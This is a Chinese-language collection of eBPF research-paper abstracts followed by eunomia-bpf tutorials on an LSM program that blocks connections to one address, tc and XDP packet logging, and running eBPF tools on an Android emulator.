ATC 19: https://www.usenix.org/conference/atc19/presentation/bijlani
Electrode: Accelerating Distributed Protocols with eBPF
在标准的Linux内核网络栈下实现分布式协议可以享受到负载感知的CPU缩放、高兼容性以及强大的安全性和隔离性。但由于过多的用户-内核切换和内核网络栈遍历,其性能较低。我们介绍了Electrode,这是一套为分布式协议设计的基于eBPF的性能优化。这些优化在网络栈之前在内核中执行,但实现了与用户空间中实现的相似功能(例如,消息广播,收集ack的仲裁),从而避免了用户-内核切换和内核网络栈遍历所带来的开销。我们展示,当应用于经典的Multi-Paxos状态机复制协议时,Electrode可以提高其吞吐量高达128.4%,并将延迟降低高达41.7%。
NSDI 23: 链接
BMC: Accelerating Memcached using Safe In-kernel Caching and Pre-stack Processing
内存键值存储是帮助扩展大型互联网服务的关键组件,通过提供对流行数据的低延迟访问。Memcached是最受欢迎的键值存储之一,由于Linux网络栈固有的性能限制,当使用高速网络接口时,其性能不高。虽然可以使用DPDK基础方案绕过Linux网络栈,但这种方法需要对软件栈进行完全重新设计,而且在客户端负载较低时也会导致高CPU利用率。
为了克服这些限制,我们提出了BMC,这是一个为Memcached设计的内核缓存,可以在执行标准网络栈之前服务于请求。对BMC缓存的请求被视为NIC中断的一部分,这允许性能随着为NIC队列服务的核心数量而扩展。为确保安全,BMC使用eBPF实现。尽管eBPF具有安全约束,但我们展示了实现复杂缓存服务是可能的。因为BMC在商用硬件上运行,并且不需要修改Linux内核或Memcached应用程序,所以它可以在现有系统上广泛部署。BMC优化了Facebook样式的小型请求的处理时间。在这个目标工作负载上,我们的评估显示,与原始的Memcached应用程序相比,BMC的吞吐量提高了高达18倍,与使用SO_REUSEPORT套接字标志的优化版Memcached相比,提高了高达6倍。此外,我们的结果还显示,对于非目标工作负载,BMC的开销可以忽略不计,并且不会降低吞吐量。
NSDI 21: 链接
hXDP: Efficient Software Packet Processing on FPGA NICs
FPGA加速器在NIC上使得从CPU卸载昂贵的数据包处理任务成为可能。但是,FPGA有限的资源可能需要在多个应用程序之间共享,而编程它们则很困难。
我们提出了一种在FPGA上运行Linux的eXpress Data Path程序的解决方案,这些程序使用eBPF编写,仅使用可用硬件资源的一部分,同时匹配高端CPU的性能。eBPF的迭代执行模型不适合FPGA加速器。尽管如此,我们展示了,当针对一个特定的FPGA执行器时,一个eBPF程序的许多指令可以被压缩、并行化或完全删除,从而显著提高性能。我们利用这一点设计了hXDP,它包括(i)一个优化编译器,该编译器并行化并将eBPF字节码转换为我们定义的扩展eBPF指令集架构;(ii)一个在FPGA上执行这些指令的软处理器;以及(iii)一个基于FPGA的基础设施,提供XDP的maps和Linux内核中定义的helper函数。
我们在FPGA NIC上实现了hXDP,并评估了其运行真实世界的未经修改的eBPF程序的性能。我们的实现以156.25MHz的速度时钟,使用约15%的FPGA资源,并可以运行动态加载的程序。尽管有这些适度的要求,但它达到了高端CPU核心的数据包处理吞吐量,并提供了10倍低的数据包转发延迟。
OSDI 20: 链接
Network-Centric Distributed Tracing with DeepFlow: Troubleshooting Your Microservices in Zero Code
微服务正变得越来越复杂,给传统的性能监控解决方案带来了新的挑战。一方面,微服务的快速演变给现有的分布式跟踪框架的使用和维护带来了巨大的负担。另一方面,复杂的基础设施增加了网络性能问题的概率,并在网络侧创造了更多的盲点。在这篇论文中,我们介绍了 DeepFlow,一个用于微服务故障排除的以网络为中心的分布式跟踪框架。DeepFlow 通过一个以网络为中心的跟踪平面和隐式的上下文传播提供开箱即用的跟踪。此外,它消除了网络基础设施中的盲点,以低成本方式捕获网络指标,并增强了不同组件和层之间的关联性。我们从分析和实证上证明,DeepFlow 能够准确地定位微服务性能异常,而开销几乎可以忽略不计。DeepFlow 已经为超过26家公司发现了71多个关键性能异常,并已被数百名开发人员所使用。我们的生产评估显示,DeepFlow 能够为用户节省数小时的仪表化工作,并将故障排除时间从数小时缩短到几分钟。
SIGCOMM 23: https://dl.acm.org/doi/10.1145/3603269.3604823
Fast In-kernel Traffic Sketching in eBPF
扩展的伯克利数据包过滤器(eBPF)是一个基础设施,允许在不重新编译的情况下动态加载并直接在 Linux 内核中运行微程序。
在这项工作中,我们研究如何在 eBPF 中开发高性能的网络测量。我们以绘图为案例研究,因为它们具有支持广泛任务的能力,同时提供低内存占用和准确性保证。我们实现了 NitroSketch,一个用于用户空间网络的最先进的绘图,并表明用户空间网络的最佳实践不能直接应用于 eBPF,因为它的性能特点不同。通过应用我们学到的经验教训,我们将其性能提高了40%,与初级实现相比。
SIGCOMM 23: https://dl.acm.org/doi/abs/10.1145/3594255.3594256
SPRIGHT: extracting the server from serverless computing! high-performance eBPF-based event-driven, shared-memory processing
无服务器计算在云环境中承诺提供高效、低成本的计算能力。然而,现有的解决方案,如Knative这样的开源平台,包含了繁重的组件,破坏了无服务器计算的目标。此外,这种无服务器平台缺乏数据平面优化,无法实现高效的、高性能的功能链,这也是流行的微服务开发范式的设施。它们为构建功能链使用的不必要的复杂和重复的功能严重降低了性能。"冷启动"延迟是另一个威慑因素。
我们描述了 SPRIGHT,一个轻量级、高性能、响应式的无服务器框架。SPRIGHT 利用共享内存处理显著提高了数据平面的可伸缩性,通过避免不必要的协议处理和序列化-反序列化开销。SPRIGHT 大量利用扩展的伯克利数据包过滤器 (eBPF) 进行事件驱动处理。我们创造性地使用 eBPF 的套接字消息机制支持共享内存处理,其开销严格与负载成正比。与常驻、基于轮询的DPDK相比,SPRIGHT 在真实工作负载下实现了相同的数据平面性能,但 CPU 使用率降低了10倍。此外,eBPF 为 SPRIGHT 带来了好处,替换了繁重的无服务器组件,使我们能够以微不足道的代价保持函数处于"暖"状态。
我们的初步实验结果显示,与 Knative 相比,SPRIGHT 在吞吐量和延迟方面实现了一个数量级的提高,同时大大减少了 CPU 使用,并消除了 "冷启动"的需要。
https://dl.acm.org/doi/10.1145/3544216.3544259
Kgent: Kernel Extensions Large Language Model Agent
修改和扩展操作系统的能力是提高系统安全性、可靠性和性能的重要功能。扩展的伯克利数据包过滤器(eBPF)生态系统已经成为扩展Linux内核的标准机制,并且最近已被移植到Windows。eBPF程序将新逻辑注入内核,使系统在现有逻辑之前或之后执行这些逻辑。虽然eBPF生态系统提供了一种灵活的内核扩展机制,但目前开发人员编写eBPF程序仍然困难。eBPF开发人员必须深入了解操作系统的内部结构,以确定在何处放置逻辑,并应对eBPF验证器对其eBPF程序的控制流和数据访问施加的编程限制。本文介绍了KEN,一种通过允许使用自然语言编写内核扩展来缓解编写eBPF程序难度的替代框架。KEN利用大语言模型(LLMs)的最新进展,根据用户的英文提示生成eBPF程序。为了确保LLM的输出在语义上等同于用户的提示,KEN结合了LLM增强的程序理解、符号执行和一系列反馈循环。KEN的关键创新在于这些技术的结合。特别是,该系统以一种新颖的结构使用符号执行,使其能够结合程序综合和程序理解的结果,并建立在LLMs在每个任务中单独展示的成功基础上。为了评估KEN,我们开发了一个新的自然语言提示eBPF程序的语料库。我们显示,KEN在80%的情况下生成了正确的eBPF程序,这比LLM增强的程序综合基线提高了2.67倍。
eBPF'24: https://dl.acm.org/doi/10.1145/3672197.3673434 和arxiv https://arxiv.org/abs/2312.05531
Programmable System Call Security with eBPF
利用 eBPF 进行可编程的系统调用安全
系统调用过滤是一种广泛用于保护共享的 OS 内核免受不受信任的用户应用程序威胁的安全机制。但是,现有的系统调用过滤技术要么由于用户空间代理带来的上下文切换开销过于昂贵,要么缺乏足够的可编程性来表达高级策略。Seccomp 是 Linux 的系统调用过滤模块,广泛用于现代的容器技术、移动应用和系统管理服务。尽管采用了经典的 BPF 语言(cBPF),但 Seccomp 中的安全策略主要限于静态的允许列表,主要是因为 cBPF 不支持有状态的策略。因此,许多关键的安全功能无法准确地表达,和/或需要修改内核。
在这篇论文中,我们介绍了一个可编程的系统调用过滤机制,它通过利用扩展的 BPF 语言(eBPF)使得更高级的安全策略得以表达。更具体地说,我们创建了一个新的 Seccomp eBPF 程序类型,暴露、修改或创建新的 eBPF 助手函数来安全地管理过滤状态、访问内核和用户状态,以及利用同步原语。重要的是,我们的系统与现有的内核特权和能力机制集成,使非特权用户能够安全地安装高级过滤器。我们的评估表明,我们基于 eBPF 的过滤可以增强现有策略(例如,通过时间专化,减少早期执行阶段的攻击面积高达55.4%)、缓解实际漏洞并加速过滤器。
https://arxiv.org/abs/2302.10366
Cross Container Attacks: The Bewildered eBPF on Clouds
在云上困惑的 eBPF 之间的容器攻击
扩展的伯克利数据包过滤器(eBPF)为用户空间程序提供了强大而灵活的内核接口,通过在内核空间直接运行字节码来扩展内核功能。它已被云服务广泛使用,以增强容器安全性、网络管理和系统可观察性。然而,我们发现在 Linux 主机上广泛讨论的攻击性 eBPF 可以为容器带来新的攻击面。通过 eBPF 的追踪特性,攻击者可以破坏容器的隔离并攻击主机,例如,窃取敏感数据、进行 DoS 攻击,甚至逃逸容器。在这篇论文中,我们研究基于 eBPF 的跨容器攻击,并揭示其在实际服务中的安全影响。利用 eBPF 攻击,我们成功地妨害了五个在线的 Jupyter/交互式 Shell 服务和 Google Cloud Platform 的 Cloud Shell。此外,我们发现三家领先的云供应商提供的 Kubernetes 服务在攻击者通过 eBPF 逃逸容器后可以被利用来发起跨节点攻击。具体来说,在阿里巴巴的 Kubernetes 服务中,攻击者可以通过滥用他们过度特权的云指标或管理 Pods 来妨害整个集群。不幸的是,容器上的 eBPF 攻击鲜为人知,并且现有的入侵检测系统几乎无法发现它们。此外,现有的 eBPF 权限模型无法限制 eBPF 并确保在共享内核的容器环境中安全使用。为此,我们提出了一个新的 eBPF 权限模型,以对抗容器中的 eBPF 攻击。
https://www.usenix.org/conference/usenixsecurity23/presentation/he
Comparing Security in eBPF and WebAssembly
比较 eBPF 和 WebAssembly 中的安全性
本文研究了 eBPF 和 WebAssembly(Wasm)的安全性,这两种技术近年来得到了广泛的采用,尽管它们是为非常不同的用途和环境而设计的。当 eBPF 主要用于 Linux 等操作系统内核时,Wasm 是一个为基于堆栈的虚拟机设计的二进制指令格式,其用途超出了 web。鉴于 eBPF 的增长和不断扩大的雄心,Wasm 可能提供有启发性的见解,因为它围绕在如 web 浏览器和云等复杂和敌对环境中安全执行任意不受信任的程序进行设计。我们分析了两种技术的安全目标、社区发展、内存模型和执行模型,并进行了比较安全性评估,探讨了内存安全性、控制流完整性、API 访问和旁路通道。我们的结果表明,eBPF 有一个首先关注性能、其次关注安全的历史,而 Wasm 更强调安全,尽管要支付一些运行时开销。考虑 eBPF 的基于语言的限制和一个用于 API 访问的安全模型是未来工作的有益方向。
https://dl.acm.org/doi/abs/10.1145/3609021.3609306
更多内容可以在第一个 eBPF 研讨会中找到:https://conferences.sigcomm.org/sigcomm/2023/workshop-ebpf.html
A flow-based IDS using Machine Learning in eBPF
基于eBPF中的机器学习的流式入侵检测系统
eBPF 是一种新技术,允许动态加载代码片段到 Linux 内核中。它可以大大加速网络,因为它使内核能够处理某些数据包而无需用户空间程序的参与。到目前为止,eBPF 主要用于简单的数据包过滤应用,如防火墙或拒绝服务保护。我们证明在 eBPF 中完全基于机器学习开发流式网络入侵检测系统是可行的。我们的解决方案使用决策树,并为每个数据包决定它是否恶意,考虑到网络流的整个先前上下文。与作为用户空间程序实现的同一解决方案相比,我们实现了超过 20% 的性能提升。
https://arxiv.org/abs/2102.09980
Femto-containers: lightweight virtualization and fault isolation for small software functions on low-power IoT microcontrollers
针对低功耗 IoT 微控制器上的小型软件功能的轻量级虚拟化和故障隔离: Femto-容器
低功耗的 IoT 微控制器上运行的操作系统运行时通常提供基础的 API、基本的连接性和(有时)一个(安全的)固件更新机制。相比之下,在硬件约束较少的场合,网络化软件已进入无服务器、微服务和敏捷的时代。考虑到弥合这一差距,我们在论文中设计了 Femto-容器,这是一种新的中间件运行时,可以嵌入到各种低功耗 IoT 设备中。Femto-容器使得可以在低功耗 IoT 设备上通过网络安全地部署、执行和隔离小型虚拟软件功能。我们实施了 Femto-容器,并在 RIOT 中提供了集成,这是一个受欢迎的开源 IoT 操作系统。然后,我们评估了我们的实现性能,它已被正式验证用于故障隔离,确保 RIOT 受到加载并在 Femto-容器中执行的逻辑的保护。我们在各种受欢迎的微控制器架构(Arm Cortex-M、ESP32 和 RISC-V)上的实验表明,Femto-容器在内存占用开销、能源消耗和安全性方面提供了有吸引力的权衡。
https://dl.acm.org/doi/abs/10.1145/3528535.3565242
eBPF 入门实践教程:使用 LSM 进行安全检测防御
eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能,使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此,本文将介绍如何使用 eBPF LSM(Linux Security Modules)机制实现一个简单的安全检查程序。
背景
LSM 从 Linux 2.6 开始成为官方内核的一个安全框架,基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后,系统开发人员已经能够自由地实现函数粒度的安全检查能力,本文就提供了这样一个案例:限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。(可见其控制精度是很高的)
LSM 概述
LSM(Linux Security Modules)是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点,从而实现了内核和安全模块的解耦,使不同的安全模块可以自由地在内核中加载/卸载,无需修改原有的内核代码就可以加入安全检查功能。
在过去,使用 LSM 主要通过配置已有的安全模块(如 SELinux 和 AppArmor)或编写自己的内核模块;而在 Linux 5.7 引入 BPF LSM 机制后,一切都变得不同了:现在,开发人员可以通过 eBPF 编写自定义的安全策略,并将其动态加载到内核中的 LSM 挂载点,而无需配置或编写内核模块。
现在 LSM 支持的 hook 点包括但不限于:
- 对文件的打开、创建、删除和移动等;
- 文件系统的挂载;
- 对 task 和 process 的操作;
- 对 socket 的操作(创建、绑定 socket,发送和接收消息等);
更多 hook 点可以参考 lsm_hooks.h。
确认 BPF LSM 是否可用
首先,请确认内核版本高于 5.7。接下来,可以通过
$ cat /boot/config-$(uname -r) | grep BPF_LSM
CONFIG_BPF_LSM=y
判断是否内核是否支持 BPF LSM。上述条件都满足的情况下,可以通过
$ cat /sys/kernel/security/lsm
ndlock,lockdown,yama,integrity,apparmor
查看输出是否包含 bpf 选项,如果输出不包含(像上面的例子),可以通过修改 /etc/default/grub:
GRUB_CMDLINE_LINUX="lsm=ndlock,lockdown,yama,integrity,apparmor,bpf"
并通过 update-grub2 命令更新 grub 配置(不同系统的对应命令可能不同),然后重启系统。
编写 eBPF 程序
// lsm-connect.bpf.c
#include "vmlinux.h"
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
char LICENSE[] SEC("license") = "GPL";
#define EPERM 1
#define AF_INET 2
const __u32 blockme = 16843009; // 1.1.1.1 -> int
SEC("lsm/socket_connect")
int BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret)
{
// Satisfying "cannot override a denial" rule
if (ret != 0)
{
return ret;
}
// Only IPv4 in this example
if (address->sa_family != AF_INET)
{
return 0;
}
// Cast the address to an IPv4 socket address
struct sockaddr_in *addr = (struct sockaddr_in *)address;
// Where do you want to go?
__u32 dest = addr->sin_addr.s_addr;
bpf_printk("lsm: found connect to %d", dest);
if (dest == blockme)
{
bpf_printk("lsm: blocking %d", dest);
return -EPERM;
}
return 0;
}
这是一段 C 实现的 eBPF 内核侧代码,它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作,其中:
SEC("lsm/socket_connect")宏指出该程序期望的挂载点;- 程序通过
BPF_PROG宏定义(详情可查看 tools/lib/bpf/bpf_tracing.h); restrict_connect是BPF_PROG宏要求的程序名;ret是该挂载点上(潜在的)当前函数之前的 LSM 检查程序的返回值;
整个程序的思路不难理解:
- 首先,若其他安全检查函数返回值不为 0(不通过),则无需检查,直接返回不通过;
- 接下来,判断是否为 IPV4 的连接请求,并比较试图连接的地址是否为 1.1.1.1;
- 若请求地址为 1.1.1.1 则拒绝连接,否则允许连接;
在程序运行期间,所有通过 socket 的连接操作都会被输出到 /sys/kernel/debug/tracing/trace_pipe。
编译运行
通过容器编译:
docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
或是通过 ecc 编译:
$ ecc lsm-connect.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
并通过 ecli 运行:
sudo ecli run package.json
接下来,可以打开另一个 terminal,并尝试访问 1.1.1.1:
$ ping 1.1.1.1
ping: connect: Operation not permitted
$ curl 1.1.1.1
curl: (7) Couldn't connect to server
$ wget 1.1.1.1
--2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/
Connecting to 1.1.1.1:80... failed: Operation not permitted.
Retrying.
同时,我们可以查看 bpf_printk 的输出:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe
ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009
ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009
curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009
curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009
wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009
wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009
完整源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect
总结
本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中,我们通过 BPF_PROG 宏定义函数,并通过 SEC 宏指定挂载点;在函数实现上,遵循 LSM 安全检查模块中 "cannot override a denial" 的原则,并根据 socket 连接请求的目的地址对该请求进行限制。
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
参考
- https://github.com/leodido/demo-cloud-native-ebpf-day
- https://aya-rs.dev/book/programs/lsm/#writing-lsm-bpf-program
eBPF 入门实践教程二十:使用 eBPF 进行 tc 流量控制
背景
Linux 的流量控制子系统(Traffic Control, tc)在内核中存在了多年,类似于 iptables 和 netfilter 的关系,tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架,主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始,tc 增加了一些新的挂载点,并支持将 eBPF 程序作为 filter 加载到这些挂载点上。
tc 概述
从协议栈上看,tc 位于链路层,其所在位置已经完成了 sk_buff 的分配,要晚于 xdp。为了实现对数据包发送和接收的控制,tc 使用队列结构来临时保存并组织数据包,在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc(Queueing discipline),其对外暴露数据包入队和出队的两个回调接口,并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构,其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑,返回值决定了该数据包是否属于特定 class。
当数据包到达顶层 qdisc 时,其入队接口被调用,其上挂载的 filter 被依次执行直到一个 filter 匹配成功;此后数据包被送入该 filter 指向的 class,进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制,即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理,实现了完整的数据包分类和处理机制。
现有的 tc 为 eBPF 提供了 direct-action 模式,它使得一个作为 filter 加载的 eBPF 程序可以返回像 TC_ACT_OK 等 tc action 的返回值,而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在,eBPF 程序可以被挂载到特定的 qdisc 上,并完成对数据包的分类和处理动作。
编写 eBPF 程序
#include <vmlinux.h>
#include <bpf/bpf_endian.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#define TC_ACT_OK 0
#define ETH_P_IP 0x0800 /* Internet Protocol packet */
/// @tchook {"ifindex":1, "attach_point":"BPF_TC_INGRESS"}
/// @tcopts {"handle":1, "priority":1}
SEC("tc")
int tc_ingress(struct __sk_buff *ctx)
{
void *data_end = (void *)(__u64)ctx->data_end;
void *data = (void *)(__u64)ctx->data;
struct ethhdr *l2;
struct iphdr *l3;
if (ctx->protocol != bpf_htons(ETH_P_IP))
return TC_ACT_OK;
l2 = data;
if ((void *)(l2 + 1) > data_end)
return TC_ACT_OK;
l3 = (struct iphdr *)(l2 + 1);
if ((void *)(l3 + 1) > data_end)
return TC_ACT_OK;
bpf_printk("Got IP packet: tot_len: %d, ttl: %d", bpf_ntohs(l3->tot_len), l3->ttl);
return TC_ACT_OK;
}
char __license[] SEC("license") = "GPL";
这段代码定义了一个 eBPF 程序,它可以通过 Linux TC(Transmission Control)来捕获数据包并进行处理。在这个程序中,我们限定了只捕获 IPv4 协议的数据包,然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live(TTL)字段的值。
需要注意的是,我们在代码中使用了一些 BPF 库函数,例如 bpf_htons 和 bpf_ntohs 函数,它们用于进行网络字节序和主机字节序之间的转换。此外,我们还使用了一些注释来为 TC 提供附加点和选项信息。例如,在这段代码的开头,我们使用了以下注释:
/// @tchook {"ifindex":1, "attach_point":"BPF_TC_INGRESS"}
/// @tcopts {"handle":1, "priority":1}
这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点,并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 patchwork 中的介绍。
总之,这段代码实现了一个简单的 eBPF 程序,用于捕获数据包并打印出它们的信息。
编译运行
通过容器编译:
docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
或是通过 ecc 编译:
$ ecc tc.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
并通过 ecli 运行:
sudo ecli run ./package.json
可以通过如下方式查看程序的输出:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe
node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64
sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64
sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64
node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64
总结
本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案,我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备,并借助内核的 sk_buff 结构对数据包进行过滤处理。
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
参考
eBPF 入门实践教程二十一:使用 xdp 实现可编程包处理
背景
xdp(eXpress Data Path)是 Linux 内核中新兴的一种绕过内核的、可编程的包处理方案。相较于 cBPF,xdp 的挂载点非常底层,位于网络设备驱动的软中断处理过程,甚至早于 skb_buff 结构的分配。因此,在 xdp 上挂载 eBPF 程序适用于很多简单但次数极多的包处理操作(如防御 Dos 攻击),可以达到很高的性能(24Mpps/core)。
XDP 概述
xdp 不是第一个支持可编程包处理的系统,在此之前,以 DPDK(Data Plane Development Kit)为代表的内核旁路方案甚至能够取得更高的性能,其思路为完全绕过内核,由用户态的网络应用接管网络设备,从而避免了用户态和内核态的切换开销。然而,这样的方式具有很多天然的缺陷:
- 无法与内核中成熟的网络模块集成,而不得不在用户态将其重新实现;
- 破坏了内核的安全边界,使得内核提供的很多网络工具变得不可用;
- 在与常规的 socket 交互时,需要从用户态重新将包注入到内核;
- 需要占用一个或多个单独的 CPU 来进行包处理;
除此之外,利用内核模块和内核网络协议栈中的 hook 点也是一种思路,然而前者对内核的改动大,出错的代价高昂;后者在整套包处理流程中位置偏后,其效率不够理想。
总而言之,xdp + eBPF 为可编程包处理系统提出了一种更为稳健的思路,在某种程度上权衡了上述方案的种种优点和不足,获取较高性能的同时又不会对内核的包处理流程进行过多的改变,同时借助 eBPF 虚拟机的优势将用户定义的包处理过程进行隔离和限制,提高了安全性。
编写 eBPF 程序
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
/// @ifindex 1
/// @flags 0
/// @xdpopts {"old_prog_fd":0}
SEC("xdp")
int xdp_pass(struct xdp_md* ctx) {
void* data = (void*)(long)ctx->data;
void* data_end = (void*)(long)ctx->data_end;
int pkt_sz = data_end - data;
bpf_printk("packet size is %d", pkt_sz);
return XDP_PASS;
}
char __license[] SEC("license") = "GPL";
这是一段 C 语言实现的 eBPF 内核侧代码,它能够通过 xdp 捕获所有经过目标网络设备的数据包,计算其大小并输出到 trace_pipe 中。
值得注意的是,在代码中我们使用了以下注释:
/// @ifindex 1
/// @flags 0
/// @xdpopts {"old_prog_fd":0}
这是由 eunomia-bpf 提供的功能,我们可以通过这样的注释告知 eunomia-bpf 加载器此 xdp 程序想要挂载的目标网络设备编号,挂载的标志和选项。
这些变量的设计基于 libbpf 提供的 API,可以通过 patchwork 查看接口的详细介绍。
SEC("xdp") 宏指出 BPF 程序的类型,ctx 是此 BPF 程序执行的上下文,用于包处理流程。
在程序的最后,我们返回了 XDP_PASS,这表示我们的 xdp 程序会将经过目标网络设备的包正常交付给内核的网络协议栈。可以通过 XDP actions 了解更多 xdp 的处理动作。
编译运行
通过容器编译:
docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
或是通过 ecc 编译:
$ ecc xdp.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
并通过 ecli 运行:
sudo ecli run package.json
可以通过如下方式查看程序的输出:
$ sudo cat /sys/kernel/tracing/trace_pipe
node-1939 [000] d.s11 1601.190413: bpf_trace_printk: packet size is 177
node-1939 [000] d.s11 1601.190479: bpf_trace_printk: packet size is 66
ksoftirqd/1-19 [001] d.s.1 1601.237507: bpf_trace_printk: packet size is 66
node-1939 [000] d.s11 1601.275860: bpf_trace_printk: packet size is 344
总结
本文介绍了如何使用 xdp 来处理经过特定网络设备的包,基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案,我们可以将自己编写的 xdp BPF 程序以指定选项挂载到目标设备,并在网络包进入内核网络协议栈之前就对其进行处理,从而获取高性能的可编程包处理能力。
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
参考资料
- http://arthurchiao.art/blog/xdp-paper-acm-2018-zh/
- http://arthurchiao.art/blog/linux-net-stack-implementation-rx-zh/
- https://github.com/xdp-project/xdp-tutorial/tree/master/basic01-xdp-pass
在 Andorid 上使用 eBPF 程序
本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 测试采用的方式是在 Android Shell 环境下构建 Debian 环境,并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。
背景
截至目前(2023-04),Android 还未对 eBPF 程序的动态加载做出较好的支持,无论是以 bcc 为代表的带编译器分发方案,还是基于 btf 和 libbpf 的 CO-RE 方案,都在较大程度上离不开 Linux 环境的支持,无法在 Android 系统上很好地运行1。
虽然如此,在 Android 平台上尝试 eBPF 也已经有了一些成功案例,除谷歌官方提供的修改 Android.bp 以将 eBPF 程序随整个系统一同构建并挂载的方案2,也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路,并开发了相关工具。
目前已有的资料,大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱,并对 bcc 和 bpftrace 相关工具链进行测试,而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料,如:
- SeeFlowerX:https://blog.seeflower.dev/category/eBPF/
- evilpan:https://bbs.kanxue.com/thread-271043.htm
其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像,并在其中构建整个 bcc 工具链,从而使用 eBPF 工具。如果想要使用 bpftrace,原理也是类似的。
事实上,高版本的 Android 内核已支持 btf 选项,这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。
eunomia-bpf 是一个结合了 libbpf 和 WebAssembly 技术的开源项目,旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式,其核心依赖是 libbpf,相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。
测试环境
- Android Emulator(Android Studio Flamingo | 2022.2.1)
- AVD: Pixel 6
- Android Image: Tiramisu Android 13.0 x86_64(5.15.41-android13-8-00055-g4f5025129fe8-ab8949913)
环境搭建3
- 从 eadb 仓库 的 releases 页面获取
debianfs-amd64-full.tar.gz作为 Linux 环境的 rootfs,同时还需要获取该项目的assets目录来构建环境; - 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device;
- 通过 Android Studio SDK 的 adb 工具将
debianfs-amd64-full.tar.gz和assets目录推送到 AVD 中:./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz./adb push assets /data/local/tmp/assets
- 通过 adb 进入 Android shell 环境并获取 root 权限:
./adb shellsu
- 在 Android shell 中构建并进入 debian 环境:
mkdir -p /data/eadbmv /data/local/tmp/assets/* /data/eadbmv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gzrm -r /data/local/tmp/assetschmod +x /data/eadb/device-*/data/eadb/device-unpack/data/eadb/run /data/eadb/debian
